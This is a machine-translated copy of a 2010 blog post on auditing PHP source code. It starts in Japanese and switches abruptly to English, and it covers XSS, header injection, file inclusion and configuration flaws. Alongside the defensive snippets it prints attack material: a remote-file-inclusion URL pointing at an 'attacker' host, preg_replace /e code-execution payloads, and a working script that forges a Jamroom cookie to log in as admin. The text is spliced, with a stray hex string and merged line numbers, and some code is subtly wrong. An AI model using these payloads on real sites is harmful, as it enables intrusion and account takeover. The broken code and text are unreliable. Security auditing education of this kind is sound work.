PHP ソースコード監査に関する追加の注意事項

From:http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/

こんにちは。
今日は、次のいくつかについて話すことにしました。ソースコード監査による脆弱性発見手法に関する私の経験です。

覚えていると思いますが、約 1 年前、私は次の記事を書きました:

php ソースコードのファジング (監査) を行う 20 の方法

少し前に「Stefan Esser」 PHPセキュリティに関するポスターを作成しました。 PHP ソースコード監査の経験を活かして、ほとんどの脆弱性について簡単に説明します:

最も多い PHP 脆弱性:

1-クロスサイトスクリプティング (XSS)

2-クロスサイトリクエストフォージェリ (CSRF)
3- SQL インジェクション
4-安全でないセッション処理
5-セッション固定
6-情報開示
7-ヘッダーインジェクション
8-安全でない構成
9-弱いランダム性

(ソースコード内でこの問題を見つける方法の詳細については、私の記事を読んでください:

http://www.abysssec.com/blog/2009/03/php_fuzz_audit/
また、別の記事では [PHP スクリプトの脆弱性の検索完全 (例付き)]:
http://www.milw0rm.com /papers/381

これらの問題は ((要約) の不正確さによるものです:

I ? 安全な入力処理:
何が注入されるかを慎重に考慮せずにユーザーからの入力を受け入れます。

II ? サニタイズ:

サニタイズ関数は潜在的に危険な入力を完全に拒否するのではなく、アプリケーションの制限 (特定のデータ型、最大長など) に従ってユーザー入力を「修復」するために使用されます。サニタイズには特定の種類と組み合わせがあるため、一般にサニタイズ関数の使用は推奨されません。フィルター自体がセキュリティに影響を与える可能性があります。さらに、タイプミスの自動修正により、入力が構文的または意味的に不正確になる可能性があります。
例:
is_numeric() 変数の数値内容をチェックします。 is_array() 変数が配列かどうかをチェックします。 strlen() 文字列の長さを返します。 strip_tags()HTML タグと PHP タグを削除します。

III- エスケープ :

エスケープにはいくつかの異なる種類があります:
?バックスラッシュ接頭辞「」は、文字列内のメタ文字を定義します。例: t はタブ
スペース、n は改行文字、… これは、改行文字が特別な目的を持つ関数にとって特に重要です。ヘッダ（）。正規表現内では、バックスラッシュは、 などの特殊文字をエスケープするために使用されます。または *、正規表現を処理するすべての関数に関係します。

? HTML エンコーディングは、Web ブラウザによって通常 HTML として解釈される文字を、エンコードされた同等の文字に変換します。例えばまたは >または>。出力処理には HTML エンコーディングを使用する必要があり、コードを挿入せずにユーザー入力を HTML に反映する必要があります。 (参照: htmlentities())

? URL エンコードにより、RFC 1738 に従って、URL 内で許可されていないすべての文字
が適切にエンコードされるようになります。例えば。スペースは + または %20 および a54f61a0d9bbdcb0f0c07422df092a78 & \0 and optionally all characters > chr(127) into numeric HTML entities.
? FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.
? FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.
? FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.
? FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.
? FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().

Other Filters
? FILTER_UNSAFE_RAWIs a dummy filter.
? FILTER_CALLBACKCalls a userspace callback function defining the filter.

D) HTTP Header Output
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.
Dynamic content within parameters to Location
or Set-Cookie headers should be escaped by urlencode().

For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.

1234	<?phpif (strpbrk($_GET['type'], ";/\r\n")) die('invalid characters');header("Content-Type: text/" . $_GET['type'] . "; charset=utf-8;");?>

Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.

E)Secure File Handling:
? Detect and replace NULL bytes:

12345

<?phpif (strpos($_GET["f"], "\0") === true) {$file = str_replace("\0", "", $_GET["f"]);}?>

? Prevent remote file inclusion (path prefix) and directory traversal (basename):

123	<?php$file = "./".basename($_GET["f"]). ".php";?>

? Include only whitelisted files:

12345

<?phpif (in_array($_GET['action'], array('index', 'logout'))) {include './'.$_GET['action'] . '.php';} else die('action not permitted');?>

3) Configuration point :
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .
we sea these Fllowing Configuration in code or PHP.ini Setting :
[a]- when Server don’t Disabling Remote URLs for File Handling Functions 
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(‘http://www.example.com/’, ‘r’)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.

[b] Register Globals is ‘ON’ :
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it’s disabled by default from PHP 4.2.0 and on, because it’s dangerous on so many scales.

123456

<?phpif (ereg("test.php", $PHP_SELF)==true){ include $server_inc."/step_one_tables.php";}?>

demonstration :
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php 

[c] Server Don’t Limit Access to Certain File Name Patterns :
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn’t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc

Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.

Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn’t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~

[d] Error Messages and Logging is ON :
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.
.
And many other attacks, usually design by the programmer !

Real Word Example :

Exp 1 : PHP Code Execution:
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.

1234567

<?php// Replace any usernames$ret = preg_replace("#\[:nom:([^\]]*)\]#e", "username(0, trim(\"\\1\"))", $ret); ?>

php code execution is possible via complex variable evaluation.
[:nom:{${phpinfo()}}]

or this code :

1234567891011

<?phpif($globals['bbc_email']){ $text = preg_replace(array("/\[email=(.*?)\](.*?)\[\/email\]/ies","/\[email\](.*?)\[\/email\]/ies"),array('check_email("$1", "$2")','check_email("$1", "$1")'), $text); }?>

abuse :
[email]{${phpinfo()}}[/email]

2- Configuration mistake : Authentication Bypass
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function

12345678910111213141516

<?phplist($user,$hash) = unserialize(stripslashes($_val));$user = trim(genc('get',$user));$req = "SELECT user_nickname, user_passwordFROM {$jamroom_db['user']}WHERE user_nickname = '". dbEscapeString($user) ."'LIMIT 1";$_rt = dbQuery($req,'SINGLE');if (strlen($_rt['user_password']) === 0) {return(false);}if (md5($_rt['user_password'] . $sect) == $hash) {print_r($rt);return($_rt);}?>

The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.

123456789101112

<?php$data = array();$user = 'admin'; // Target $data[0] = base64_encode(serialize($user));$data[1] = (bool)0;echo "\n\n===[ 0 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));$data[1] = (bool)1;echo "\n\n===[ 1 ] ========================\n\n";echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));?>

The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the “identical” operator.

3- new bug :
http://www.sektioneins.com/en/advisories/advisory-022009-phpids-unserialize-vulnerability/index.html
in other post , i will publish some of our most recent research on browsers security and results we got on this topic as i promised in a few past posts .

regards
daphne